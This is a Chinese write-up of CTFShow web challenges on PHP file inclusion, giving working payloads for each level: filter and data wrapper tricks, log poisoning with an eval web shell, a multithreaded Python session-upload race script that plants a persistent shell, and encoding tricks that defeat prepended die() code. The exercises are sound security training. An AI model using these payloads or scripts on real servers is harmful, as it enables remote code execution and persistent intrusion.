IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 【CTFSHOW】web入门文件包含 -> 正文阅读

[PHP知识库]【CTFSHOW】web入门文件包含

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

没有过滤,一开始想直接包含flag.php,发现一片空白。使用php://filter伪协议读取flag.php内容,进行base64解码得到flag。

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

fileincluding78flag1

web79

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了php,使用data伪协议即可。

base64编码的内容为:

<?=system('tac flag.php');?>

payload:

?file=data://text/plain;base64,PD89c3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

fileincluding79flag1

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到,php和data都被过滤替换成了三个‘?’。根据hint,可以通过包含nginx的日志文件access.log进行文件包含操作。

使用?file=/var/log/nginx/access.log访问日志,发现会留有记录。

fileincluding80accesslog1

修改UA头,发现可以执行phpinfo命令:

fileincluding80ua1

使用&_POST[]传入POST参数,ls查询当前目录,发现flag已被更改文件名:

fileincluding80flag1

使用tac命令,得到flag:

fileincluding80flag2

对这题思路的个人理解是,首先通过访问向日志写入需要的php命令,比如<?=eval($_POST[1]);?>。当再次访问时会执行这些命令,这时可以添加参数,比如1=system(“tac fl0g.php”);以回显flag。

web81

添加了过滤冒号‘:’

同web80

web82

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到,’.'也被过滤了。

php中唯一能无后缀控制的,只有session文件。

这题的思路和2021年国赛初赛web的middle_source差不多,都是通过对session临时tmp文件的条件竞争,生成木马文件实现rce。

原理浅析:

  • 当开启session时,服务器会在临时目录下创建session文件来保存会话信息,文件名格式为sess_PHPSESSID。一般的linux会将session保存在其中的某一个目录下:
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/
  • 一般开发的web服务会使用多线程接收用户的请求,而线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,依靠临界区(critical section)。session的临界区即上文说的临时目录。

    如果没有应用好同步技术则会产生“竞争条件”问题。意外生成攻击者想要生成的文件,这样攻击者可以在该文件还未被删除的时间段内进行非法操作。

  • PHP_SESSION_UPLOAD_PROGRESS用于设置/tmp目录下生成的sess_PHPSESSID文件的内容

所以我们可以使用python脚本进行多线程请求,生成sess_PHPSESSID文件,实现rce。

python脚本如下:

import requests
import io
import threading

url = 'http://a1ec5255-7dd7-405a-8c05-d61d50ce9ed7.challenge.ctf.show:8080/'    # 改成自己的url
sessionid = 'truthahn'      # 设置PHPSESSID为truthahn,使生成的临时文件名为sess_truthahn
cookies = {
            'PHPSESSID':sessionid
        }

def write(session):		# write()函数用于写入session临时文件
    fileBytes = io.BytesIO(b'a'*1024*50)    # 设置上传文件的大小为50k
    data2 = {
        'PHP_SESSION_UPLOAD_PROGRESS':'<?=eval($_POST[1])?>'    # 设置sess_truthahn临时文件的内容为<?=eval($_POST[1])?> 实现一句话
    }
    files = {
        'file':('truthahn.jpg',fileBytes)
    }
    while True:    
        res = session.post(url,data=data2,cookies=cookies,files=files)
        # print(res.text)
        #print('======= write done! ======')

def read(session): 		# read()函数利用session临时文件生成一句话木马,实现rce
    data1 = {
        "1":"file_put_contents('/var/www/html/3.php','<?=eval($_POST[2]);?>');"     # 使用file_put_contents()php内置函数生成名为3.php的shell文件
    }
    while True:
        res = session.post(url+'?file=/tmp/sess_'+sessionid,data=data1,cookies=cookies)
        # print(res.text)
        res2 = session.get(url+'3.php')
        # print(res2.text)
        if res2.status_code == 200:     #若3.php成功生成,则返回Done!,否则返回失败的状态码
            print('++++++++ Done! +++++++++')
        else:
            print(res2.status_code)

if __name__ == '__main__':

    event = threading.Event()       
    with requests.session() as session:     # 为每个函数设置5个线程并发执行
        for i in range(5):
            #print('*'*50)
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            #print('='*50)
            threading.Thread(target=read,args=(session,)).start()

    event.set()

在显示Done!后,访问url+3.php,并POST方式传参,即可获取flag:

fileincluding82flag1

flag如下:

fileincluding82flag2

web83

session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
    }else{
    highlight_file(__FILE__);
}

同web82,虽然销毁了session,但我们还是可以自行创建。多运行一会脚本就行了。

web84

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

同web82。

这题在包含文件命令之前执行了删除/tmp目录下所有文件的操作,貌似session_upload的方式失效了,但实际上该方法仍可使用。

原因在于cpu并发执行时存在间隔时间即分片,当我们多线程请求后,就有可能一个线程中system(“rm -rf /tmp/*”);命令执行完了,另一个线程没有执行删除命令但已写入sess_PHPSESSID文件,这样第一个线程文件包含时session文件仍然存在。基于此可生成一句话木马。

脚本多执行一段时间就会发现返回码从404变成了200ヾ(?ω?`)o

web85

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

解法一:

同样是运行web82的脚本。

同样是机制问题,多线程并发导致的执行错序。使得不可能成立的逻辑成立了。。。

尝试二(失败):

尝试使用data协议和baes64编码规避对尖括号的过滤,但由于存在反序列化的成分,无法直接调用data协议,所以失败2333

尝试修改脚本中write()函数的data2中PHP_SESSION_UPLOAD_PROGRESS上传的值:

def write(session):
    fileBytes = io.BytesIO(b'a'*1024*50)    # 设置上传文件的大小为50k
    data2 = { 	'PHP_SESSION_UPLOAD_PROGRESS':'data://text/plain;base64,PD89ZXZhbCgkX1BPU1RbMV0pPz4='    # 使用data协议和baes64编码规避对尖括号的过滤,但由于存在反序列化的成分,无法直接调用data协议,所以失败
    }
    files = {
        'file':('truthahn.jpg',fileBytes)
    }
    while True:    
        res = session.post(url,data=data2,cookies=cookies,files=files)

web86

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

设置了包含路径,但不妨碍我们脚本的运行。同web82。

web87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

这题与之前的都不同,考察的是php的file_put_contents函数写入文件的姿势。

发现语句

file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

中对file参数进行了url解码,所以我们可以使用php://filter伪协议的写入操作,并进行两次url编码。又因为同时存在

<?php die('大佬别秀了');?>

这句死亡代码,所以我们可以通过编码让php引擎把该代码识别成乱码,具体可以使用rot13加密:

?file=php://filter/write=string.rot13/resource=3.php
第一次url全编码:
??file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%77%72%69%74%65%3d%73%74%72%69%6e%67%2e%72%6f%74%31%33%2f%72%65%73%6f%75%72%63%65%3d%33%2e%70%68%70
第二次url全编码:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30

由于使用了rot13加密来混淆杂糅代码,所以我们对content也要进行rot13加密才能让php引擎正确识别:

<?=system('tac f*.php');?>
rot13加密后为:
<?=flfgrz('gnp s*.cuc');?>

至于为什么是用rot13来加密?很简单,rot13两次加密后就会得到原文:

<?=flfgrz('gnp s*.cuc');?>
rot13再次加密后为:
<?=system('tac f*.php');?>

具体payload如下:

fileincluding87encode1

编码后:

fileincluding87encode2

访问3.php获取flag:

fileincluding87flag

PS:当然,我们也可以使用base64解码来传入content:

对于content:

<?=system('tac f*');?>
base64编码后:
PD89c3lzdGVtKCd0YWMgZionKTs/Pg==

而根据php引擎解码base64编码的机制,死亡代码<?php die('大佬别秀了');?>解析时会被除去不在64个可打印字符中的字符。只剩下:phpdie。

而base64算法解码时是4个byte为一组,所以我们可以在编码后的content之前加两个字符a:

content=aaPD89c3lzdGVtKCd0YWMgZionKTs/Pg==

这样我们之后传入的webshell的baes64内容也被正常解码。详细原理请看P神的博客:谈一谈php://filter的妙用

对于file:

?file=php://filter/convert.base64-decode/resource=3.php

同样两次url全编码即可。

payload2如下:

fileincluding87base64encode

PS:因为php://filter伪协议支持使用多个过滤器,可使用strip_tags与base64解码组合拳的形式来实现绕过死亡代码:

file:

?file=php://filter/string.strip_tags|convert.base64-decode/resource=4.php

content:

content=PD89c3lzdGVtKCd0YWMgZionKTs/Pg==

payload3如下:

fileincluding87base64dncodestrip_tags

web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

发现这个语句没有过滤字母、正斜杠和冒号’:’,但过滤了等于’=‘号和加’+'号。所以我们可以使用data伪协议和base64编码。我们可以找一个编码后不会有等于号和加号的查询flag的命令:

我找的是:

<?=system('tac f*.php');

编码后为:

PD89c3lzdGVtKCd0YWMgZioucGhwJyk7

具体payload如下:

?file=data://text/plain;base64,PD89c3lzdGVtKCd0YWMgZioucGhwJyk7

EXECUTE得到flag:

fileincluding88flag

web116

提示是misc+lfi(Local File Include),发现可以使用file参数访问服务器本地文件。

PS:视频剪得真好?(′▽`)

payload

?file=flag.php

访问payload,ctrl+s保存mp4,用010打开即可(当然也可以用burp抓包)。

fileincluding116flag

也有payload是这样的:

?file=compress.zlib:///var/www/html/flag.php

同样可以得到flag。不过大佬好像是直接分析首页mp4视频,进行块拼接啥的得到源码。个人不太会misc,以后找个时间研究研究。

web117

function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

死亡代码绕过的本质就是使死亡代码过滤为不可执行的代码或出错的代码,将我们的webshell转化为可执行的代码。

这题过滤了base64、rot13、string等常见编码或函数,我们可以用其他的编码来达到目的。

php支持的编码可参见:PHP 扩展支持的字符编码

file:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=7.php

iconv.UCS-2LE.UCS-2BE编码就是把每两位字符换位。

很简单的编码小脚本:

str = "<?=system('tac f*');"
str_encoded = ''
for i in range(len(str)):
    if i % 2 == 1:
        str_encoded += str[i]
        str_encoded += str[i-1]
print(str_encoded) 		# ?<s=syet(mt'caf '*;)

contents:

contents=?<s=syet(mt'caf '*;)

访问7.php即可:

fileincluding117flag2

参考视频

B站BV号:BV1P64y1Q72q

参考博客

session_upload进行文件包含

php竞争漏洞

死亡代码绕过

谈一谈php://filter的妙用

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-25 11:26:31  更:2021-07-25 11:27:44 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/20 0:28:38-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码